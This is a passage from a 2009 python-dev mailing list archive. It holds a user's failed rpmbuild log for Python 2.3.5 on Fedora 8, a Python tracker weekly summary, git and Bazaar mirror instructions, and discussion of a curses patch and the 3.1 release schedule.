
[shashi at shashi SPECS]$ sudo rpmbuild -bb python-2.3.spec
Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.59931
+ umask 022
+ cd /home/shashi/redhat/BUILD
+ LANG=C
+ export LANG
+ unset DISPLAY
+ cd /home/shashi/redhat/BUILD
+ rm -rf Python-2.3.5
+ /usr/bin/bzip2 -dc /home/shashi/redhat/SOURCES/Python-2.3.5.tgz
+ tar -xvvf -
-rw-rw-r-- shashi/shashi 36259840 2009-02-27 16:40 Python-2.3.5.tar
+ STATUS=0
+ '[' 0 -ne 0 ']'
+ cd Python-2.3.5
/var/tmp/rpm-tmp.59931: line 33: cd: Python-2.3.5: No such file or directory
error: Bad exit status from /var/tmp/rpm-tmp.59931 (%prep)


RPM build errors:
    Bad exit status from /var/tmp/rpm-tmp.59931 (%prep)
[shashi at shashi SPECS]$ cp ~/Desktop/Python-2.
Python-2.3.5/         Python-2.3.5.tar      Python-2.3.5.tar.bz2
Python-2.3.5.tgz      Python-2.6.1/
[shashi at shashi SPECS]$ cp ~/Desktop/Python-2.3.5.tar.bz2 ../SOURCES/
Crypt-OpenSSL-RSA-0.25.tar.gz
java-1.6.0-sun-compat-unregister-java-fonts.xsl  openssl-0.9.8j.tar.gz
java-1.5.0-sun-compat-register-java-fonts.xsl
jdk-1_5_0_14-linux-i586.bin                      Python-2.3.5.tgz
java-1.5.0-sun-compat-unregister-java-fonts.xsl
jdk-6u6-linux-i586-rpm.bin
java-1.6.0-sun-compat-register-java-fonts.xsl
openssl-0.9.8g-9.12.fc9.i386.rpm
[shashi at shashi SPECS]$ cp ~/Desktop/Python-2.3.5.tar.bz2 ../SOURCES/.
[shashi at shashi SPECS]$ sudo rpmbuild -bb python-2.3.spec
Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.72526
+ umask 022
+ cd /home/shashi/redhat/BUILD
+ LANG=C
+ export LANG
+ unset DISPLAY
+ cd /home/shashi/redhat/BUILD
+ rm -rf Python-2.3.5
+ /usr/bin/bzip2 -dc /home/shashi/redhat/SOURCES/Python-2.3.5.tgz
+ tar -xvvf -
-rw-rw-r-- shashi/shashi 36259840 2009-02-27 16:40 Python-2.3.5.tar
+ STATUS=0
+ '[' 0 -ne 0 ']'
+ cd Python-2.3.5
/var/tmp/rpm-tmp.72526: line 33: cd: Python-2.3.5: No such file or directory
error: Bad exit status from /var/tmp/rpm-tmp.72526 (%prep)


RPM build errors:
    Bad exit status from /var/tmp/rpm-tmp.72526 (%prep)
[shashi at shashi SPECS]$
[shashi at shashi SPECS]$
[shashi at shashi SPECS]$ cp ~/Desktop/Python-2.3.5 ../SOURCES/.
Python-2.3.5/         Python-2.3.5.tar      Python-2.3.5.tar.bz2
Python-2.3.5.tgz
[shashi at shashi SPECS]$ cp -r ~/Desktop/Python-2.3.5 ../SOURCES/.
[shashi at shashi SPECS]$ sudo rpmbuild -bb python-2.3.spec
Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.63171
+ umask 022
+ cd /home/shashi/redhat/BUILD
+ LANG=C
+ export LANG
+ unset DISPLAY
+ cd /home/shashi/redhat/BUILD
+ rm -rf Python-2.3.5
+ /usr/bin/bzip2 -dc /home/shashi/redhat/SOURCES/Python-2.3.5.tgz
+ tar -xvvf -
-rw-rw-r-- shashi/shashi 36259840 2009-02-27 16:40 Python-2.3.5.tar
+ STATUS=0
+ '[' 0 -ne 0 ']'
+ cd Python-2.3.5
/var/tmp/rpm-tmp.63171: line 33: cd: Python-2.3.5: No such file or directory
error: Bad exit status from /var/tmp/rpm-tmp.63171 (%prep)


RPM build errors:
    Bad exit status from /var/tmp/rpm-tmp.63171 (%prep)
[shashi at shashi SPECS]$

---> My purpose is to run "yum" which will make use of the correct python
module it requires ,
Even I tried reinstalling the new yum packages but it is giving same python
module problem only

Plz suggest a solution to have a proper python version ( to run "yum"
command) which suits fc8 and to remove all the other available python
versions

Thanks & Regards ,
shashidhar
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090227/09fffa3c/attachment-0001.htm>

From chris at simplistix.co.uk  Fri Feb 27 17:26:51 2009
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 27 Feb 2009 16:26:51 +0000
Subject: [Python-Dev] How do I get commit access?
In-Reply-To: <064BBADB-B9EB-4545-A88C-A5C736FFD1D6@python.org>
References: <49A7A906.8000008@simplistix.co.uk>
	<0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>
	<49A7AD8C.5030209@simplistix.co.uk>
	<064BBADB-B9EB-4545-A88C-A5C736FFD1D6@python.org>
Message-ID: <49A8144B.1030305@simplistix.co.uk>

Barry Warsaw wrote:
> Chris, are you going to be at Pycon?  I'm sorry I haven't had time to 
> review email package changes.  I will try to take a look this weekend, 
> but if you're going to be at Pycon perhaps we can find some sprinting time?

Sure, I'm around for the whole conference once I'm done giving my 
tutorial. I fly out Monday 30th in the afternoon, so any time before then.

The one currently causing me to scream is why a MIME Multipart container 
which has a MIMText containing html and a MIMEBase containing a PDF 
added to it ends up with a Content-Transfer-Encoding of quoted-printable.
Should it even have a Content-Transfer-Encoding header given that it has 
no text of its own?

Where would I look to see where this header gets generated in Python 2.4.4?

(the problem is that this is in violation of RFC2045 and makes some MTAs 
do stupid things that result in blank messages arriving:
  http://docs.sun.com/app/docs/doc/819-4428/geuxh?a=view)

cheers,

Chris

-- 
Simplistix - Content Management, Zope & Python Consulting
            - http://www.simplistix.co.uk

From status at bugs.python.org  Fri Feb 27 18:06:55 2009
From: status at bugs.python.org (Python tracker)
Date: Fri, 27 Feb 2009 18:06:55 +0100 (CET)
Subject: [Python-Dev] Summary of Python tracker Issues
Message-ID: <20090227170655.DE3A178101@psf.upfronthosting.co.za>


ACTIVITY SUMMARY (02/20/09 - 02/27/09)
Python tracker at http://bugs.python.org/

To view or respond to any of the issues listed below, click on the issue 
number.  Do NOT respond to this message.


 2363 open (+33) / 14843 closed (+19) / 17206 total (+52)

Open issues with patches:   825

Average duration of open issues: 657 days.
Median duration of open issues: 394 days.

Open Issues Breakdown
   open  2337 (+33)
pending    26 ( +0)

Issues Created Or Reopened (52)
_______________________________

csv sniffer                                                      02/20/09
       http://bugs.python.org/issue5332    created  LambertDW                     
       patch                                                                   

os.kill() inconsistency                                          02/20/09
CLOSED http://bugs.python.org/issue5333    created  giampaolo.rodola              
                                                                               

array.fromfile() fails to insert values when EOFError is raised  02/21/09
       http://bugs.python.org/issue5334    created  zmedico                       
       patch                                                                   

mmap can crash with tagname (on windows)                         02/21/09
CLOSED http://bugs.python.org/issue5335    created  ocean-city                    
       patch                                                                   

collections.namedtuple generates code causing PyChecker warnings 02/21/09
       http://bugs.python.org/issue5336    created  mbessonov                     
                                                                               

Scanner class in re module undocumented                          02/21/09
       http://bugs.python.org/issue5337    created  mfoord                        
                                                                               

Typo in Python/C API sect 1.2.1                                  02/21/09
CLOSED http://bugs.python.org/issue5338    created  aydt                          
                                                                               

Typo in Python/C API Chapter 2                                   02/21/09
CLOSED http://bugs.python.org/issue5339    created  aydt                          
                                                                               

Change in cgi behavior breaks existing software                  02/21/09
       http://bugs.python.org/issue5340    created  bkline                        
                                                                               

A selection of spelling errors and typos throughout source       02/21/09
CLOSED http://bugs.python.org/issue5341    created  marketdickinson               
       patch                                                                   

distutils removing old files, deleting unneeded old files from i 02/21/09
       http://bugs.python.org/issue5342    created  illume                        
                                                                               

remove or make work pdb retval and rv                            02/22/09
       http://bugs.python.org/issue5343    created  rocky                         
                                                                               

typo in what's new in 2.6                                        02/22/09
CLOSED http://bugs.python.org/issue5344    created  quiver                        
       patch, patch                                                            

cStringIO class name typo                                        02/22/09
       http://bugs.python.org/issue5345    created  qwjqwj                        
                                                                               

mailbox._singlefileMailbox.flush doesn't preserve file rights    02/22/09
       http://bugs.python.org/issue5346    created  wRAR                          
                                                                               

SocketIO redefines RawIOBase.__del__                             02/22/09
       http://bugs.python.org/issue5347    created  pitrou                        
                                                                               

Documentation of format implies only strings and numbers are acc 02/23/09
CLOSED http://bugs.python.org/issue5348    created  MLModel                       
                                                                               

abstractmethod vs C++ pure virtual                               02/23/09
CLOSED http://bugs.python.org/issue5349    created  jaredgrubb                    
                                                                               

Modification to "pairwise" in itertools recipes                  02/23/09
CLOSED http://bugs.python.org/issue5350    created  della                         
                                                                               

Python tutorial error                                            02/23/09
       http://bugs.python.org/issue5351    created  Tsuedesu                      
                                                                               

Missing 'non overlapping' clause in str.count documentation      02/23/09
CLOSED http://bugs.python.org/issue5352    created  della                         
                                                                               

Improve IndexError messages with actual values                   02/23/09
       http://bugs.python.org/issue5353    created  tjreedy                       
                                                                               

Add test.support.import_python_only                              02/23/09
       http://bugs.python.org/issue5354    created  ncoghlan                      
                                                                               

Expat parser error constants are string descriptions             02/23/09
       http://bugs.python.org/issue5355    created  suraj                         
                                                                               

Use of the `curses' resource not enabled                         02/24/09
CLOSED http://bugs.python.org/issue5356    created  steve at integrityintegrators.net
                                                                               

Last paragraph of urllib.request.urlopen documentation is garble 02/24/09
CLOSED http://bugs.python.org/issue5357    created  MLModel                       
                                                                               

Unicode control characters are not allowed as identifiers        02/24/09
       http://bugs.python.org/issue5358    created  baijum                        
                                                                               

_dbm extension only built using gdbm on linux                    02/24/09
       http://bugs.python.org/issue5359    created  doko                          
                                                                               

RO (shorthand for READONLY) gone, not in documentation           02/24/09
       http://bugs.python.org/issue5360    created  R??mi                         
                                                                               

Obsolete mispelled in string formatting docs                     02/24/09
CLOSED http://bugs.python.org/issue5361    created  stevenjd                      
                                                                               

Add configure option to disable Py3k warnings                    02/24/09
       http://bugs.python.org/issue5362    created  collinwinter                  
       patch, patch, needs review                                              

Documentation of filecmp.compfiles missing word & possible expla 02/25/09
CLOSED http://bugs.python.org/issue5363    created  MLModel                       
                                                                               

documentation in epub format                                     02/25/09
       http://bugs.python.org/issue5364    created  wrobell                       
                                                                               

add conversion table to time module docs                         02/25/09
CLOSED http://bugs.python.org/issue5365    created  cvrebert                      
                                                                               

setupscript examples for dependency keywords in setup.py         02/25/09
CLOSED http://bugs.python.org/issue5366    created  techtonik                     
       patch                                                                   

typo in subprocess.py                                            02/25/09
CLOSED http://bugs.python.org/issue5367    created  ott--                         
                                                                               

curses patch add color_set and wcolor_set , and addchstr family  02/25/09
       http://bugs.python.org/issue5368    created  steve at integrityintegrators.net
       patch                                                                   

__ppc__ macro checking is incorrect                              02/25/09
       http://bugs.python.org/issue5369    created  arekm                         
                                                                               

unpickling vs. __getattr__                                       02/25/09
       http://bugs.python.org/issue5370    created  mwm                           
                                                                               

Documentation of str.format in library/stdtypes shows incorrect  02/25/09
CLOSED http://bugs.python.org/issue5371    created  MLModel                       
                                                                               

Distutils inappropriately reuses .o files between extension modu 02/26/09
       http://bugs.python.org/issue5372    created  collinwinter                  
       patch, patch, needs review                                              

TypeError when '\x00' in docstring                               02/26/09
       http://bugs.python.org/issue5373    created  noel.cuillandre               
                                                                               

optparse special usage tokens conflict with formatting character 02/26/09
CLOSED http://bugs.python.org/issue5374    created  andybuckley                   
                                                                               

Unified locals/consts array + register-based instructions        02/26/09
       http://bugs.python.org/issue5375    created  pitrou                        
                                                                               

Wrong ImportError message if module is not readable              02/26/09
       http://bugs.python.org/issue5376    created  haypo                         
                                                                               

Strange behavior when performing int on a Decimal made from -sys 02/26/09
       http://bugs.python.org/issue5377    created  debedb                        
                                                                               

adding --quiet to bdist_rpm                                      02/26/09
       http://bugs.python.org/issue5378    created  tarek                         
                                                                               

Multicast example mcast.py is outdated and ugly                  02/27/09
       http://bugs.python.org/issue5379    created  phihag                        
       patch                                                                   

pty.read raises IOError when slave pty device is closed          02/27/09
       http://bugs.python.org/issue5380    created  zmedico                       
                                                                               

json need object_pairs_hook                                      02/27/09
       http://bugs.python.org/issue5381    created  rhettinger                    
       patch                                                                   

Allow Python keywords as keyword arguments for functions.        02/27/09
       http://bugs.python.org/issue5382    created  Imagist                       
                                                                               

Allow intermixing of keyword arguments and vargarg arguments     02/27/09
       http://bugs.python.org/issue5383    created  Imagist                       
                                                                               



Issues Now Closed (34)
______________________

re module needs to support bytes / memoryview well                495 days
       http://bugs.python.org/issue1282    benjamin.peterson             
                                                                               

Windows base64 Decode                                             192 days
       http://bugs.python.org/issue3595    haypo                         
                                                                               

Parsing XML file with Unicode characters causes problem           173 days
       http://bugs.python.org/issue3742    benjamin.peterson             
                                                                               

Cannot build _multiprocessing, math, mmap and readline of Python  120 days
       http://bugs.python.org/issue4204    zvezdan                       
       patch                                                                   

Build fails at running build_scripts                               79 days
       http://bugs.python.org/issue4524    tarek                         
       patch, needs review                                                     

Mark distutils to stay compatible with 2.3                         33 days
       http://bugs.python.org/issue5052    tarek                         
       patch                                                                   

tkinter.scrolledtext: new text is hidden after using insert()      15 days
       http://bugs.python.org/issue5163    gpolo                         
                                                                               

Special-case string formatting in BINARY_MODULO implementation     14 days
       http://bugs.python.org/issue5176    collinwinter                  
       patch, patch, needs review                                              

_resolve_name in importlib/__init__.py left an index on rindex u   16 days
       http://bugs.python.org/issue5213    brett.cannon                  
       patch, easy                                                             

Documentation for super() neglects to say what super() actually    13 days
       http://bugs.python.org/issue5229    rhettinger                    
                                                                               

socket timeouts even in blocking mode                               3 days
       http://bugs.python.org/issue5293    techtonik                     
                                                                               

turtle.py "dicionary" spelling patch                                3 days
       http://bugs.python.org/issue5295    marketdickinson               
                                                                               

Buildbot failures in test_site                                      6 days
       http://bugs.python.org/issue5316    tarek                         
       patch                                                                   

Crash when doing some list iteration                                2 days
       http://bugs.python.org/issue5328    benjamin.peterson             
                                                                               

os.kill() inconsistency                                             0 days
       http://bugs.python.org/issue5333    giampaolo.rodola              
                                                                               

mmap can crash with tagname (on windows)                            3 days
       http://bugs.python.org/issue5335    ocean-city                    
       patch                                                                   

Typo in Python/C API sect 1.2.1                                     0 days
       http://bugs.python.org/issue5338    georg.brandl                  
                                                                               

Typo in Python/C API Chapter 2                                      0 days
       http://bugs.python.org/issue5339    georg.brandl                  
                                                                               

A selection of spelling errors and typos throughout source          1 days
       http://bugs.python.org/issue5341    marketdickinson               
       patch                                                                   

typo in what's new in 2.6                                           5 days
       http://bugs.python.org/issue5344    georg.brandl                  
       patch, patch                                                            

Documentation of format implies only strings and numbers are acc    1 days
       http://bugs.python.org/issue5348    MLModel                       
                                                                               

abstractmethod vs C++ pure virtual                                  0 days
       http://bugs.python.org/issue5349    georg.brandl                  
                                                                               

Modification to "pairwise" in itertools recipes                     0 days
       http://bugs.python.org/issue5350    della                         
                                                                               

Missing 'non overlapping' clause in str.count documentation         0 days
       http://bugs.python.org/issue5352    georg.brandl                  
                                                                               

Use of the `curses' resource not enabled                            0 days
       http://bugs.python.org/issue5356    benjamin.peterson             
                                                                               

Last paragraph of urllib.request.urlopen documentation is garble    4 days
       http://bugs.python.org/issue5357    georg.brandl                  
                                                                               

Obsolete mispelled in string formatting docs                        3 days
       http://bugs.python.org/issue5361    georg.brandl                  
                                                                               

Documentation of filecmp.compfiles missing word & possible expla    2 days
       http://bugs.python.org/issue5363    georg.brandl                  
                                                                               

add conversion table to time module docs                            2 days
       http://bugs.python.org/issue5365    georg.brandl                  
                                                                               

setupscript examples for dependency keywords in setup.py            1 days
       http://bugs.python.org/issue5366    tarek                         
       patch                                                                   

typo in subprocess.py                                               0 days
       http://bugs.python.org/issue5367    benjamin.peterson             
                                                                               

Documentation of str.format in library/stdtypes shows incorrect     0 days
       http://bugs.python.org/issue5371    benjamin.peterson             
                                                                               

optparse special usage tokens conflict with formatting character    0 days
       http://bugs.python.org/issue5374    draghuram                     
                                                                               

SRE bugs with capturing groups in negative assertions            2135 days
       http://bugs.python.org/issue725149  georg.brandl                  
                                                                               



Top Issues Most Discussed (10)
______________________________

 16 Use shorter float repr when possible                             445 days
open    http://bugs.python.org/issue1580   

 14 Rewrite the IO stack in C                                         83 days
open    http://bugs.python.org/issue4565   

 14 Add named tuple reader to CSV module                             411 days
open    http://bugs.python.org/issue1818   

  8 Strange behavior when performing int on a Decimal made from -sy    1 days
open    http://bugs.python.org/issue5377   

  8 curses patch add color_set and wcolor_set , and addchstr family    2 days
open    http://bugs.python.org/issue5368   

  7 Documentation for super() neglects to say what super() actually   13 days
closed  http://bugs.python.org/issue5229   

  7 Installed but not listed *.pyo break bdist_rpm                   940 days
open    http://bugs.python.org/issue1533164

  6 Modification to "pairwise" in itertools recipes                    0 days
closed  http://bugs.python.org/issue5350   

  6 PyUnicode_FromWideChar incorrect for characters outside the BMP   89 days
open    http://bugs.python.org/issue4474   

  5 Unicode control characters are not allowed as identifiers          3 days
open    http://bugs.python.org/issue5358   




From aahz at pythoncraft.com  Fri Feb 27 18:10:00 2009
From: aahz at pythoncraft.com (Aahz)
Date: Fri, 27 Feb 2009 09:10:00 -0800
Subject: [Python-Dev] Fwd: require python rpms for fc8
In-Reply-To: <8baedd360902270807x567c6627wf292e60c76893c22@mail.gmail.com>
References: <mailman.3369.1235747325.11745.python-3000@python.org>
	<8baedd360902270751g49fd24dei1a05b5509c2d153a@mail.gmail.com>
	<8baedd360902270807x567c6627wf292e60c76893c22@mail.gmail.com>
Message-ID: <20090227171000.GA1716@panix.com>

On Fri, Feb 27, 2009, shashidhar velagandula wrote:
>
> [...] 

python-dev is the wrong place for this kind of question, please use
comp.lang.python

In addition, it's not even clear what your question is, please see
http://www.catb.org/~esr/faqs/smart-questions.html
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From skip at pobox.com  Fri Feb 27 18:35:10 2009
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 27 Feb 2009 11:35:10 -0600
Subject: [Python-Dev] How do I get commit access?
In-Reply-To: <go8ed0$vnq$1@ger.gmane.org>
References: <49A7A906.8000008@simplistix.co.uk>
	<0F0CFC42EDFF4BA290BFDFC67E5EC056@RaymondLaptop1>
	<49A7AD8C.5030209@simplistix.co.uk>
	<A8EBDAFE66D843DBBAFFD2B942917A5D@RaymondLaptop1>
	<49A7B501.4070508@simplistix.co.uk> <go8ed0$vnq$1@ger.gmane.org>
Message-ID: <18856.9294.373185.493616@montanaro.dyndns.org>


    Christian> CPython has a stricter policy than most other Python related
    Christian> projects.

Indeed.  I'd be willing to grant you checkin privileges for SpamBayes simply
because because Christian recognized you and you seem willing to roll up
your sleeves. Do you do Windows?  <wink>

Skip

From barry at python.org  Fri Feb 27 20:00:39 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 27 Feb 2009 14:00:39 -0500
Subject: [Python-Dev] Instructions on using git mirror
In-Reply-To: <20090227154817.GB24580@arctrix.com>
References: <20090227052116.GA18994@arctrix.com>
	<e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
	<20090227154817.GB24580@arctrix.com>
Message-ID: <2778C919-3351-4B89-B450-3D59F87A3485@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 27, 2009, at 10:48 AM, Neil Schemenauer wrote:

> On Fri, Feb 27, 2009 at 08:36:08AM -0600, Brad Miller wrote:
>> when I get to the step git svn fetch  I get the following error:
>> zsh-% git svn fetch
>> Permission denied (publickey).
>> Network connection closed unexpectedly: Connection closed  
>> unexpectedly at
>> /opt/local/bin/git-svn line 1385
>>
>>
>> Is there a prerequisite that I get some kind of ssh key pair setup  
>> with the
>> svn repository?  I thought that was only for committers.
>
> Sorry, the instructions don't work for read-only access.  I've
> updated them.  You need to use:
>
>    git svn init http://svn.python.org/projects/python/trunk
>
> for read-only access to SVN.

We should probably put these, and the Mercurial information on the  
python.org website, perhaps as siblings of the Bazaar information.  Or  
maybe it should all move to the wiki.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSag4V3EjvBPtnXfVAQLTMQP9EUHzd+C0aOdwISI3ckTz2aZxyWhM2/M3
yyBY8/WTEa2gJbFePX6Qk+JS33/B3FYbcKRBpjfKlaTp9DLlVdSZoQ2sA/gD27sE
82SxuxbjnjtR+513xIX2P1WflOA1SxpfKgOs9c4Gxkuee1eUgv2A5LKX5PlaE/oX
sPKVgQk7hw0=
=/Ipw
-----END PGP SIGNATURE-----

From barry at python.org  Fri Feb 27 20:26:20 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 27 Feb 2009 14:26:20 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org>
	<5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com>
Message-ID: <28B6A2AC-0D78-4597-BF0D-D139616DA61C@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 25, 2009, at 2:03 PM, Mark Dickinson wrote:

> On Wed, Feb 25, 2009 at 2:23 PM, Barry Warsaw <barry at python.org>  
> wrote:
>> This is now done.  Please let me know if you have any problems with  
>> the
>> mirrors.
>
> Is the cron job that's supposed to update the bzr repository still  
> running?
> I'm getting 'No revisions to pull' when I do 'bzr pull' for the py3k  
> branch:
>
> Macintosh-3:py3k dickinsm$ bzr pull
> Using saved parent location: http://code.python.org/python/py3k/
> No revisions to pull.
>
> ...which is a bit surprising, since my last 'bzr pull' was a while  
> ago.
> Do I need to update something somewhere?
>
> I'm using bzr version 1.11 from macports.

I think I have this fixed now.  The branch updater is running on  
dinsdale now, but I'm currently staggering it, so that every 5 minutes  
the 2.5, 2.6, trunk, py3k and 3.0 branches get updated in a round-robin.

Please let me know if you have any problems.
Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSag+XnEjvBPtnXfVAQKvXQQAksvzqrpWozugl0k1DRuRs9f+QZzcJCK9
gzC+6rCdLdOxQy4AOXip+qmQcL5+EGM7hxjo/0sSSEVswZY69tTgmcuFP1BPmg5e
D+7FRfF0cFA2y2TG527fQxZMch3TnkVahe3owVdQa19zwRDjwx4ivB4xOwgXamWn
MEmXG0u7ye4=
=l2T9
-----END PGP SIGNATURE-----

From dickinsm at gmail.com  Fri Feb 27 20:51:01 2009
From: dickinsm at gmail.com (Mark Dickinson)
Date: Fri, 27 Feb 2009 19:51:01 +0000
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <28B6A2AC-0D78-4597-BF0D-D139616DA61C@python.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<75B5025E-0A05-4642-90A7-CD8B9C7A2B23@python.org>
	<5c6f2a5d0902251103o44e28af5ha3b9c318cdeb8cd4@mail.gmail.com>
	<28B6A2AC-0D78-4597-BF0D-D139616DA61C@python.org>
Message-ID: <5c6f2a5d0902271151v637205c6pc906d9179499a608@mail.gmail.com>

On Fri, Feb 27, 2009 at 7:26 PM, Barry Warsaw <barry at python.org> wrote:
> On Feb 25, 2009, at 2:03 PM, Mark Dickinson wrote:
>> Is the cron job that's supposed to update the bzr repository still
>> running?
> I think I have this fixed now. ?The branch updater is running on dinsdale
> now, but I'm currently staggering it, so that every 5 minutes the 2.5, 2.6,
> trunk, py3k and 3.0 branches get updated in a round-robin.

Seems to be working for me.  Thanks!

Mark

From brett at python.org  Fri Feb 27 21:31:53 2009
From: brett at python.org (Brett Cannon)
Date: Fri, 27 Feb 2009 12:31:53 -0800
Subject: [Python-Dev] Instructions on using git mirror
In-Reply-To: <2778C919-3351-4B89-B450-3D59F87A3485@python.org>
References: <20090227052116.GA18994@arctrix.com>
	<e45086040902270636p57e269ffs3d6d59de6f01f941@mail.gmail.com>
	<20090227154817.GB24580@arctrix.com>
	<2778C919-3351-4B89-B450-3D59F87A3485@python.org>
Message-ID: <bbaeab100902271231t31f4dcbbn5621a221529b0445@mail.gmail.com>

On Fri, Feb 27, 2009 at 11:00, Barry Warsaw <barry at python.org> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Feb 27, 2009, at 10:48 AM, Neil Schemenauer wrote:
>
>  On Fri, Feb 27, 2009 at 08:36:08AM -0600, Brad Miller wrote:
>>
>>> when I get to the step git svn fetch  I get the following error:
>>> zsh-% git svn fetch
>>> Permission denied (publickey).
>>> Network connection closed unexpectedly: Connection closed unexpectedly at
>>> /opt/local/bin/git-svn line 1385
>>>
>>>
>>> Is there a prerequisite that I get some kind of ssh key pair setup with
>>> the
>>> svn repository?  I thought that was only for committers.
>>>
>>
>> Sorry, the instructions don't work for read-only access.  I've
>> updated them.  You need to use:
>>
>>   git svn init http://svn.python.org/projects/python/trunk
>>
>> for read-only access to SVN.
>>
>
> We should probably put these, and the Mercurial information on the
> python.org website, perhaps as siblings of the Bazaar information.  Or
> maybe it should all move to the wiki.


Until we are willing to say these mirrors are not experimental all the
instructions should probably go in the wiki.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090227/e1ac37a9/attachment-0001.htm>

From steve at integrityintegrators.net  Fri Feb 27 21:45:36 2009
From: steve at integrityintegrators.net (Heracles)
Date: Fri, 27 Feb 2009 12:45:36 -0800 (PST)
Subject: [Python-Dev]  Patch Ready for review
Message-ID: <22254109.post@talk.nabble.com>


I have a patch submitted, with docs changes etc.  The patch is to the curses
library module, and adds support for color_set, addchstr, addchnstr,
mvaddchstr, mvaddchnstr, mvwaddchstr, mvwaddchnstr, waddchstr, and
waddchnstr.

I am wondering what to expect next.  How long will it be before it is
applied etc.  This is my first attempt to submit a patch to Python.

Also, does anyone know who the main person is for running changes to the
curses library I wanted to get guidance for implementing support for family
of functions newterm, set_term, reset_term.  The main question I have is to
support these functions consistently, would it be recommended to implement a
new Python Screen object?
-- 
View this message in context: http://www.nabble.com/Patch-Ready-for-review-tp22254109p22254109.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From steve at integrityintegrators.net  Fri Feb 27 21:48:03 2009
From: steve at integrityintegrators.net (Heracles)
Date: Fri, 27 Feb 2009 12:48:03 -0800 (PST)
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <20090226215838.GA16478@amk-desktop.matrixgroup.net>
References: <22191916.post@talk.nabble.com>
	<ee2a432c0902242141p431d9d00g5f700154e23db1b4@mail.gmail.com>
	<22203899.post@talk.nabble.com>
	<20090225153417.GA9321@amk-desktop.matrixgroup.net>
	<20090226215838.GA16478@amk-desktop.matrixgroup.net>
Message-ID: <22254150.post@talk.nabble.com>


Ok, 

I think I have followed the process and submitted the patch via bug tracker. 
I also note that you have made some minor changes to the issue.

The patch is ready for review and feedback.  Thanks for your help.




A.M. Kuchling wrote:
> 
> On Wed, Feb 25, 2009 at 01:52:29PM -0800, steve at integrityintegrators.net
> wrote:
>> Are you up for helping a little more?
> 
> Sure, but please open an issue on http://bugs.python.org for this;
> back-and-forth over a particular patch is done in the bug tracker, not
> the python-dev mailing list.  http://www.python.org/dev/ discusses how
> development is done.
> 
> We also don't send around modified
> copies of entire files; http://www.python.org/dev/faq/#patches
> discusses how to make patches.
> 
> --amk
> 
> 
> 
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/lists%40nabble.com
> 
> 

-- 
View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22254150.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From martin at v.loewis.de  Fri Feb 27 21:51:53 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 27 Feb 2009 21:51:53 +0100
Subject: [Python-Dev] Patch Ready for review
In-Reply-To: <22254109.post@talk.nabble.com>
References: <22254109.post@talk.nabble.com>
Message-ID: <49A85269.4000601@v.loewis.de>

> I am wondering what to expect next.  How long will it be before it is
> applied etc.  This is my first attempt to submit a patch to Python.

Unfortunately, it may take any time between a day and five years, see
below.

> Also, does anyone know who the main person is for running changes to the
> curses library I wanted to get guidance for implementing support for family
> of functions newterm, set_term, reset_term.

The curses module is largely unmaintained; nobody is really responsible
for it (my feeling is that it also has fairly few users). Use "svn log"
to find out what people have been making changes over time; if the
commit messages indicate that they had applied patches from the bug
tracker, also try to recognize any regular non-commit contributors.

Regards,
Martin

From solipsis at pitrou.net  Fri Feb 27 22:12:30 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 27 Feb 2009 21:12:30 +0000 (UTC)
Subject: [Python-Dev] draft 3.1 release schedule
References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com>
	<ca471dc20902150859j32908dbcg1507e48c9a3799e3@mail.gmail.com>
	<1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com>
Message-ID: <loom.20090227T211114-386@post.gmane.org>

Benjamin,

> > You might also want to collect a list of serious changes that you want
> > in this release; I know I/O in C is on the list (and without it I
> > wouldn't consider it worth releasing) but there may be others. The
> > developers of such features ought to be on board with delivering their
> > code before the first beta.
> 
> I've started a list on the release PEP [1].
> 
> [1] http://www.python.org/dev/peps/pep-0375/

I think you could add "update json package to reflect the current simplejson
version" (see http://bugs.python.org/issue4136).

cheers

Antoine.



From python at rcn.com  Fri Feb 27 22:30:14 2009
From: python at rcn.com (Raymond Hettinger)
Date: Fri, 27 Feb 2009 13:30:14 -0800
Subject: [Python-Dev] draft 3.1 release schedule
